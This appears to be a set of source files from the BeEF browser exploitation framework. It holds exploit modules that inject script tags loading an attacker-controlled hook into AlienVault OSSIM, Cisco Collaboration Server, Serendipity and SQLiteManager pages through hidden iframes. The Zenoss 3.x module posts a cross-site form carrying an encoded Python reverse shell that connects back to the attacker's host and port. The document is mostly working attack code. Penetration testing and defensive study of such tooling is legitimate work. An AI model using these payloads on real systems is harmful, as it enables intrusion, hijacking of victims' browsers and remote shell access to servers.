// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>'); var alienvault_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); alienvault_iframe_<%= @command_id %>.setAttribute('src', uri); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); });
YAML
beef/modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: alienvault_ossim_3_1_xss: enable: true category: ["Exploits", "XSS"] name: "AlienVault OSSIM 3.1 XSS" description: "Attempts to hook AlienVault OSSIM 3.1 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/20062/" authors: ["bcoles", "muts"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Alienvault_ossim_3_1_xss < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' hook_file = configuration.get('beef.http.hook_file') hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}" [ { 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => "http://target/ossim/top.php?option=3&soption=3&url=<script src=#{hook_uri}></script>" } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>'); var cisco_collaboration_iframe = beef.dom.createInvisibleIframe(); cisco_collaboration_iframe.setAttribute('src', uri); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); });
YAML
beef/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: cisco_collaboration_server_5_xss: enable: true category: ["Exploits", "XSS"] name: "Cisco Collaboration Server 5 XSS" description: "Attempts to hook Cisco Collaboration Server 5 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/11403/" authors: ["bcoles", "s4squatch"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Cisco_collaboration_server_5_xss < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' hook_file = configuration.get('beef.http.hook_file') hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}" [ { 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => "http://target/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest=\"><script src=\"#{hook_uri}\"></script>" } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/xss/serendipity_1.6_xss/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>'); var serendipity_iframe = beef.dom.createInvisibleIframe(); serendipity_iframe.setAttribute('src', uri); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); });
YAML
beef/modules/exploits/xss/serendipity_1.6_xss/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: serendipity_1_6_xss: enable: true category: ["Exploits", "XSS"] name: "Serendipity <= 1.6 XSS" description: "Attempts to hook Serendipity <= 1.6 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/18884/" authors: ["bcoles", "Stefan Schurtz"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/xss/serendipity_1.6_xss/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Serendipity_1_6_xss < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' hook_file = configuration.get('beef.http.hook_file') hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}" [ { 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => "http://target/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='\"</script><script src=\"#{hook_uri}\"></script>" } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/xss/sqlitemanager_xss/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>'); var serendipity_iframe = beef.dom.createInvisibleIframe(); serendipity_iframe.setAttribute('src', uri); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); });
YAML
beef/modules/exploits/xss/sqlitemanager_xss/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: sqlitemanager_xss: enable: true category: ["Exploits", "XSS"] name: "SQLiteManager XSS" description: "Attempts to hook SQLiteManager using XSS.<br/>Tested on version 1.2.4 however other versions are likely to be vulnerable." authors: ["bcoles"] target: unknown: ["ALL"]
Ruby
beef/modules/exploits/xss/sqlitemanager_xss/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Sqlitemanager_xss < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' hook_file = configuration.get('beef.http.hook_file') hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}" [ { 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => "http://127.0.0.1/sqlite/index.php?dbsel=1\"><script src=\"#{hook_uri}\"></script><p+\"" } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/exploits/zenoss_3x_command_execution/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var user = '<%= @user %>'; var pass = '<%= @pass %>'; var target = 'http://'+rhost+':'+rport+'/zport/About/showDaemonXMLConfig' // reverse python payload var payload = unescape('%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%68%6f%73%74%3d%5c%22'+lhost+'%5c%22%3b%70%6f%72%74%3d'+lport+'%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%68%6f%73%74%2c%70%6f%72%74%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%5c%22%2f%62%69%6e%2f%73%68%5c%22%2c%5c%22%2d%69%5c%22%5d%29%3b%22') // send request var zenoss_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'__ac_name', 'value':user}, {'type':'hidden', 'name':'__ac_password', 'value':pass}, {'type':'hidden', 'name':'daemon', 'value':payload} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(zenoss_iframe_<%= @command_id %>); } setTimeout("cleanup()", 15000); });
YAML
beef/modules/exploits/zenoss_3x_command_execution/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ################################################################################ # For more information see: http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/ ################################################################################ beef: module: zenoss_command_execution: enable: true category: "Exploits" name: "Zenoss 3.x Command Execution" description: "Attempts to get a reverse shell on a Zenoss 3.x server. Valid credentials are required." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/exploits/zenoss_3x_command_execution/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ################################################################################ # For more information see: http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/ ################################################################################ class Zenoss_command_execution < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance lhost = @configuration.beef_host lhost = '' if lhost == '0.0.0.0' [ { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' }, { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '8080' }, { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost }, { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' }, { 'name' => 'user', 'ui_label' => 'Username', 'value' => 'admin' }, { 'name' => 'pass', 'ui_label' => 'Password', 'value' => 'zenoss' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end